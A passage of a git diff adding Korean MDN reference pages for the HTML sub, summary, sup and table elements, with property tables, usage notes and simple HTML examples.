+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;sub&gt;</code> 요소는 타이포그래피적인 이유에 맞춰서만 사용해야 합니다. 타이포그래피적 이유란 기존의 관례나 표준이 아래 첨자로 나타내는 경우를 말하며, 단순히 작은 글자를 아래로 올려야 할 때는 사용해서는 안됩니다.</p>
+
+<p>예를 들어 비즈니스나 상품의 <a href="https://en.wikipedia.org/wiki/Wordmark">워드마크</a> 글씨 기준선을 내려야 한다면 <code>&lt;sub&gt;</code> 대신 CSS(대개 {{cssxref("vertical-align")}})를 사용해야 합니다. <code>vertical-align: sub</code>를 사용할 수도 있고, 기준선을 25% 내려야 한다면 <code>vertical-align: -25%</code>로도 쓸 수 있습니다.</p>
+
+<p><code>&lt;sub&gt;</code>의 적절한 사용처 몇 가지는 다음과 같습니다.</p>
+
+<ul>
+ <li>각주 표기. 아래의 {{anch("각주 표기")}} 예제를 참고하세요.</li>
+ <li>수학 변수의 숫자 표기. <a href="/ko/docs/Web/MathML">MathML</a>을 사용하는 방향을 고려하세요. {{anch("변수 표기")}} 예제를 참고하세요.</li>
+ <li>화학식에서 원소의 수를 나타낼 때. (개발자의 친구, C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>, 카페인) 아래의 {{anch("화학식")}} 예제를 참고하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="각주_표기">각주 표기</h3>
+
+<p>각주의 숫자를 아래 첨자로 나타내는 경우도 있으며, <code>&lt;sub&gt;</code>가 흔히 쓰이는 경우입니다.</p>
+
+<pre class="brush: html">&lt;p&gt;According to the computations by Nakamura, Johnson, and
+Mason&lt;sub&gt;1&lt;/sub&gt; this will result in the complete annihilation
+of both particles.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("각주_표기", 650, 80)}}</p>
+
+<h3 id="변수_표기">변수 표기</h3>
+
+<p>수학에서는 같은 축 위의 점 여럿과 같이, 동일한 개념을 가리키는 변수의 무리는 같은 변수명을 사용하며, 뒤의 아래 첨자 숫자로 서로 구분합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;The horizontal coordinates' positions along the X-axis are
+represented as &lt;var&gt;x&lt;sub&gt;1&lt;/sub&gt;&lt;/var&gt; ... &lt;var&gt;x&lt;sub&gt;n&lt;/sub&gt;&lt;/var&gt;.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("변수_표기", 650, 80)}}</p>
+
+<h3 id="화학식">화학식</h3>
+
+<p>화학식에서 특정 원자의 수를 나타낼 때 아래 첨자를 사용합니다. H<sub>2</sub>0의 아래 첨자 "2"는 화학식이 나타내는 물질에 수소 원자가 2개 존재한다는 뜻입니다.:</p>
+
+<pre class="brush: html">&lt;p&gt;Almost every developer's favorite molecule is
+C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;, which is
+commonly known as "caffeine."&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("화학식", 650, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.sub")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>위 첨자를 나타내는 {{HTMLElement("sup")}} 요소. 위 첨자와 아래 첨자가 같은 공간에 공존할 수는 없습니다. 따라서 화학의 질량수/원자 번호 표기 등을 구현하려면 <a href="/ko/docs/Web/MathML">MathML</a>이 필요합니다.</li>
+ <li><a href="/ko/docs/Web/MathML/Element/msub"><code>&lt;msub&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msup"><code>&lt;msup&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msubsup"><code>&lt;msubsup&gt;</code></a> MathML 요소.</li>
+ <li>CSS {{cssxref("vertical-align")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/element/summary/index.html b/files/ko/web/html/element/summary/index.html
new file mode 100644
index 0000000000..4339470b59
--- /dev/null
+++ b/files/ko/web/html/element/summary/index.html
@@ -0,0 +1,151 @@
+---
+title: <summary>
+slug: Web/HTML/Element/summary
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/summary
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML 공개 요약 요소</strong> (<strong><code>&lt;요약&gt;</code></strong>) 요소는 ("상세") 요소의 공개 상자에 대한 요약, 캡션 또는 범례를 지정한다. </span> <code>&lt;요약&gt;</code> 요소를 클릭하면 부모 <code>&lt;상세&gt;</code> 요소의 상태가 열리거나 닫힌다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/summary.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Phrasing content</a> or one element of <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Heading_content">Heading content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>None, both the start tag and the end tag are mandatory.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>The {{HTMLElement("details")}} element.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>{{ARIARole("button")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element only includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>The <code>&lt;summary&gt;</code> element's contents can be any heading content, plain text, or HTML that can be used within a paragraph.</p>
+
+<p>A <code>&lt;summary&gt;</code> element may <em>only</em> be used as the first child of a <code>&lt;details&gt;</code> element. When the user clicks on the summary, the parent <code>&lt;details&gt;</code> element is toggled open or closed, and then a {{event("toggle")}} event is sent to the <code>&lt;details&gt;</code> element, which can be used to let you know when this state change occurs.</p>
+
+<h3 id="Default_label_text">Default label text</h3>
+
+<p>If a <code>&lt;details&gt;</code> element's first child is not a <code>&lt;summary&gt;</code> element, the {{Glossary("user agent")}} will use a default string (typically "Details") as the label for the disclosure box.</p>
+
+<h3 id="Default_style">Default style</h3>
+
+<p>Per the HTML specification, the default style for <code>&lt;summary&gt;</code> elements includes <code>display: list-item</code>. This makes it possible to change or remove the icon displayed as the disclosure widget next to the label from the default, which is typically a triangle.</p>
+
+<p>You can also change the style to <code>display: block</code> to remove the disclosure triangle.</p>
+
+<p>See the {{anch("Browser compatibility")}} section for details, as not all browsers support full functionality of this element yet.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Below are some examples showing <code>&lt;summary&gt;</code> in use. You can find more examples in the documentation for the {{HTMLElement("details")}} element.</p>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<p>A simple example showing the use of <code>&lt;summary&gt;</code> in a {{HTMLElement("details")}} element:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;Overview&lt;/summary&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+    &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+    &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("Basic_example", 650, 120)}}</p>
+
+<h3 id="Summaries_as_headings">Summaries as headings</h3>
+
+<p>You can use heading elements in <code>&lt;summary&gt;</code>, like this:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;&lt;h4&gt;Overview&lt;/h4&gt;&lt;/summary&gt;
+    &lt;ol&gt;
+    &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+    &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+    &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("Summaries_as_headings", 650, 120)}}</p>
+
+<p>This currently has some spacing issues that could be addressed using CSS.</p>
+
+<h3 id="HTML_in_summaries">HTML in summaries</h3>
+
+<p>This example adds some semantics to the <code>&lt;summary&gt;</code> element to indicate the label as important:</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/summary&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Cash on hand: $500.00&lt;/li&gt;
+    &lt;li&gt;Current invoice: $75.30&lt;/li&gt;
+    &lt;li&gt;Due date: 5/6/19&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<p>{{EmbedLiveSample("HTML_in_summaries", 650, 120)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.summary")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("details")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/sup/index.html b/files/ko/web/html/element/sup/index.html
new file mode 100644
index 0000000000..f9478cdd6d
--- /dev/null
+++ b/files/ko/web/html/element/sup/index.html
@@ -0,0 +1,142 @@
+---
+title: '<sup>: 위 첨자 요소'
+slug: Web/HTML/Element/sup
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/sup
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML </strong><strong><code>&lt;sup&gt;</code></strong> 요소는 활자 배치를 위 첨자로 해야 하는 인라인 텍스트를 지정합니다.</span> 위 첨자는 보통 더 작은 글씨 크기를 가지고, 기준선을 위로 올려 렌더링 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/sup.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;sup&gt;</code> 요소는 타이포그래피적인 이유에 맞춰서만 사용해야 합니다. 타이포그래피적 이유란 기존의 관례나 표준이 위 첨자로 나타내는 경우를 말하며, 단순히 작은 글자를 위로 올려야 할 때는 사용해서는 안됩니다.</p>
+
+<p>예를 들어 비즈니스나 상품의 <a href="https://en.wikipedia.org/wiki/Wordmark">워드마크</a> 글씨 기준선을 올려야 한다면 <code>&lt;sup&gt;</code> 대신 CSS(대개 {{cssxref("vertical-align")}})를 사용해야 합니다. <code>vertical-align: super</code>를 사용할 수도 있고, 기준선을 50% 올려야 한다면 <code>vertical-align: 50%</code>로도 쓸 수 있습니다.</p>
+
+<p><code>&lt;sup&gt;</code>의 적절한 사용처의 몇 가지는 다음과 같습니다.</p>
+
+<ul>
+ <li>"x<sup>3</sup>" 등 거듭제곱 연산의 지수 표기. 더 복잡한 표기를 해야 할 경우 <a href="/ko/docs/Web/MathML">MathML</a>을 고려하세요. 아래의 {{anch("지수 표기")}} 예제를 참고하세요.</li>
+ <li class="hidden">Displaying {{interwiki("wikipedia", "superior letter", "superior lettering")}}, which is used in some languages when rendering certain abbreviations. For example, in French, the word "mademoiselle" can be abbreviated "M<sup>lle</sup>"); this is an acceptable use case. See {{anch("Superior lettering")}} for examples.</li>
+ <li>"4<sup>th</sup>" 등 서수 표기. 아래의 {{anch("서수 표기")}} 예제를 참고하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="지수_표기">지수 표기</h3>
+
+<p>위 첨자를 가장 많이 사용할만한 곳 중 하나는 거듭제곱의 지수 표기입니다.</p>
+
+<pre class="brush: html">&lt;p&gt;One of the most common equations in all of physics is
+&lt;var&gt;E&lt;/var&gt;=&lt;var&gt;m&lt;/var&gt;&lt;var&gt;c&lt;/var&gt;&lt;sup&gt;2&lt;/sup&gt;.&lt;p&gt;</pre>
+
+<p>{{EmbedLiveSample("지수_표기", 650, 80)}}</p>
+
+<div class="hidden">
+<h3 id="Superior_lettering">Superior lettering</h3>
+
+<p>Superior lettering is not technically the same thing as superscript. However, it is common to use <code>&lt;sup&gt;</code> to present superior lettering in HTML. Among the most common uses of superior lettering is the presentation of certain abbreviations in French:</p>
+
+<pre class="brush: html">&lt;p&gt;Robert a présenté son rapport à M&lt;sup&gt;lle&lt;/sup&gt; Bernard.&lt;/p&gt;</pre>
+
+<p>The resulting output:</p>
+
+<p>{\{EmbedLiveSample("Superior_lettering", 650, 80)}}</p>
+</div>
+
+<h3 id="서수_표기">서수 표기</h3>
+
+<p>영어 "fourth", 스페인어 "quinto" 등 서수는 숫자와, 위 첨자로 표기한 언어별 특정 텍스트를 사용해 축약할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;p&gt;The ordinal number "fifth" can be abbreviated in various
+languages as follows:&lt;/p&gt;
+&lt;ul&gt;
+  &lt;li&gt;English: 5&lt;sup&gt;th&lt;/sup&gt;&lt;/li&gt;
+  &lt;li&gt;French: 5&lt;sup&gt;ème&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("서수_표기", 650, 160)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.sup")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>아래 첨자를 나타내는 {{HTMLElement("sub")}} 요소. 위 첨자와 아래 첨자가 같은 공간에 공존할 수는 없습니다. 따라서 화학의 질량수/원자 번호 표기 등을 구현하려면 <a href="/ko/docs/Web/MathML">MathML</a>이 필요합니다.</li>
+ <li><a href="/ko/docs/Web/MathML/Element/msub"><code>&lt;msub&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msup"><code>&lt;msup&gt;</code></a>, <a href="/ko/docs/Web/MathML/Element/msubsup"><code>&lt;msubsup&gt;</code></a> MathML 요소.</li>
+ <li>CSS {{cssxref("vertical-align")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/element/table/index.html b/files/ko/web/html/element/table/index.html
new file mode 100644
index 0000000000..2579638730
--- /dev/null
+++ b/files/ko/web/html/element/table/index.html
@@ -0,0 +1,370 @@
+---
+title: <table>
+slug: Web/HTML/Element/table
+tags:
+  - Element
+  - HTML
+  - HTML tabular data
+  - Reference
+  - Web
+  - 표
+translation_of: Web/HTML/Element/table
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;table&gt;</code> 요소</strong>는 행과 열로 이루어진 표를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/table.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>순서대로,
+    <div class="content-models">
+    <div id="table-mdls">
+    <ol>
+     <li>선택적인 {{HTMLElement("caption")}} 요소</li>
+     <li>0개 이상의 {{HTMLElement("colgroup")}} 요소</li>
+     <li>선택적인 {{HTMLElement("thead")}} 요소</li>
+     <li>다음 중 하나
+      <ul>
+       <li>0개 이상의 {{HTMLElement("tbody")}} 요소</li>
+       <li>0개 이상의 {{HTMLElement("tr")}} 요소</li>
+      </ul>
+     </li>
+     <li>선택적인 {{HTMLElement("tfoot")}} 요소</li>
+    </ol>
+    </div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTableElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This enumerated attribute indicates how the table must be aligned inside the containing document. It may have the following values:</p>
+
+ <ul>
+  <li><code>left</code>: the table is displayed on the left side of the document;</li>
+  <li><code>center</code>: the table is displayed in the center of the document;</li>
+  <li><code>right</code>: the table is displayed on the right side of the document.</li>
+ </ul>
+
+ <p>Set {{cssxref("margin-left")}} and {{cssxref("margin-right")}} to <code>auto</code> or {{cssxref("margin")}} to <code>0 auto</code> to achieve an effect that is similar to the align attribute.</p>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>The background color of the table. It is a <a href="/en-US/docs/Web/CSS/color_value#RGB_colors">6-digit hexadecimal RGB code</a>, prefixed by a '<code>#</code>'. One of the predefined <a href="/en-US/docs/Web/CSS/color_value#Color_keywords">color kewords</a> can also be used.</p>
+
+ <p>To achieve a similar effect, use the CSS {{cssxref("background-color")}} property.</p>
+ </dd>
+ <dt>{{htmlattrdef("border")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This integer attribute defines, in pixels, the size of the frame surrounding the table. If set to 0, the {{htmlattrxref("frame", "table")}} attribute is set to void.</p>
+
+ <p>To achieve a similar effect, use the CSS {{cssxref("border")}} shorthand property.</p>
+ </dd>
+ <dt>{{htmlattrdef("cellpadding")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the space between the content of a cell and its border, displayed or not. If the cellpadding's length is defined in pixels, this pixel-sized space will be applied to all four sides of the cell's content. If the length is defined using a percentage value, the content will be centered and the total vertical space (top and bottom) will represent this value. The same is true for the total horizontal space (left and right).</p>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border-collapse")}} property to the <code>&lt;table&gt;</code> element, with its value set to collapse, and the {{cssxref("padding")}} property to the {{HTMLElement("td")}} elements.</p>
+ </dd>
+ <dt>{{htmlattrdef("cellspacing")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the size of the space between two cells in a percentage value or pixels. The attribute is applied both horizontally and vertically, to the space between the top of the table and the cells of the first row, the left of the table and the first column, the right of the table and the last column and the bottom of the table and the last row.</p>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border-spacing")}} property to the <code>&lt;table&gt;</code> element. <code>border-spacing</code> does not have any effect if {{cssxref("border-collapse")}} is set to collapse.</p>
+ </dd>
+ <dt>{{htmlattrdef("frame")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This enumerated attribute defines which side of the frame surrounding the table must be displayed.</p>
+
+ <p>To achieve a similar effect, use the {{cssxref("border-style")}} and {{cssxref("border-width")}} properties.</p>
+ </dd>
+ <dt>{{htmlattrdef("rules")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This enumerated attribute defines where rules, i.e. lines, should appear in a table. It can have the following values:</p>
+
+ <ul>
+  <li><code>none</code>, which indicates that no rules will be displayed; it is the default value;</li>
+  <li><code>groups</code>, which will cause the rules to be displayed between row groups (defined by the {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} and {{HTMLElement("tfoot")}} elements) and between column groups (defined by the {{HTMLElement("col")}} and {{HTMLElement("colgroup")}} elements) only;</li>
+  <li><code>rows</code>, which will cause the rules to be displayed between rows;</li>
+  <li><code>columns</code>, which will cause the rules to be displayed between columns;</li>
+  <li><code>all</code>, which will cause the rules to be displayed between rows and columns.</li>
+ </ul>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border")}} property to the appropriate {{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("col")}}, or {{HTMLElement("colgroup")}} elements.</p>
+ </dd>
+ <dt>{{htmlattrdef("summary")}} {{Deprecated_inline}}</dt>
+ <dd>This attribute defines an alternative text that summarizes the content of the table. Use the {{htmlelement("caption")}} element instead.</dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the width of the table. Use the CSS {{cssxref("width")}} property instead.</p>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_표">간단한 표</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('간단한_표', '100%', '100') }}</p>
+
+<h3 id="추가_예제">추가 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;Simple table with header&lt;/p&gt;
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;First name&lt;/th&gt;
+    &lt;th&gt;Last name&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with thead, tfoot, and tbody&lt;/p&gt;
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Header content 1&lt;/th&gt;
+      &lt;th&gt;Header content 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Footer content 1&lt;/td&gt;
+      &lt;td&gt;Footer content 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Body content 1&lt;/td&gt;
+      &lt;td&gt;Body content 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with colgroup&lt;/p&gt;
+&lt;table&gt;
+  &lt;colgroup span="4" class="columns"&gt;&lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Countries&lt;/th&gt;
+    &lt;th&gt;Capitals&lt;/th&gt;
+    &lt;th&gt;Population&lt;/th&gt;
+    &lt;th&gt;Language&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;USA&lt;/td&gt;
+    &lt;td&gt;Washington D.C.&lt;/td&gt;
+    &lt;td&gt;309 million&lt;/td&gt;
+    &lt;td&gt;English&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Sweden&lt;/td&gt;
+    &lt;td&gt;Stockholm&lt;/td&gt;
+    &lt;td&gt;9 million&lt;/td&gt;
+    &lt;td&gt;Swedish&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with colgroup and col&lt;/p&gt;
+&lt;table&gt;
+  &lt;colgroup&gt;
+    &lt;col class="column1"&gt;
+    &lt;col class="columns2plus3" span="2"&gt;
+  &lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Lime&lt;/th&gt;
+    &lt;th&gt;Lemon&lt;/th&gt;
+    &lt;th&gt;Orange&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Green&lt;/td&gt;
+    &lt;td&gt;Yellow&lt;/td&gt;
+    &lt;td&gt;Orange&lt;/td&gt;
